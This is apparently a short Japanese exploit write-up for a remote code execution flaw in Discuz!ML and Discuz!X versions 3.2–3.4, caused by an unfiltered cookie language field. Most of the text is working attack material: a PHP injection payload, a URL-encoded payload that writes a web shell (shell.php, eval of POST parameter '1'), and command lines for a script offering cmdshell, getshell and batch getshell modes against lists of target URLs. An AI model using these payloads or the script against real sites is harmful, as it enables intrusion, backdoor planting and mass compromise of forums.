
影響を受けるシステムとバージョン:Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
影響を受けるシステムとバージョン:Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 脆弱性の原因:Discuz!ML システムはcookie内のlで受け取ったlanguageパラメータの内容をフィルタリングしないため、文字列が連結され、PHPコードが実行されます。
cookieフィールド内にxxxx_xxxx_languageフィールドが現れます。根本原因はこのフィールドにインジェクションが存在し、RCEを引き起こすことです。
パケットキャプチャでcookieのlanguageの値を見つけ、次の値に変更します
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 実際は:
'.+file_put_contents('shell.php',urldecode('')).'
これでパス下にshell.phpが生成され、接続パスワードは1です。
============================================================================================================================================================== 脆弱性が存在するかどうかを判定
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
cmdshellモード
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
getshellモード
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
一括検出
python dz-ml-rce.py -f urls.txt
一括getshell
python dz-ml-rce.py -f urls.txt --getshell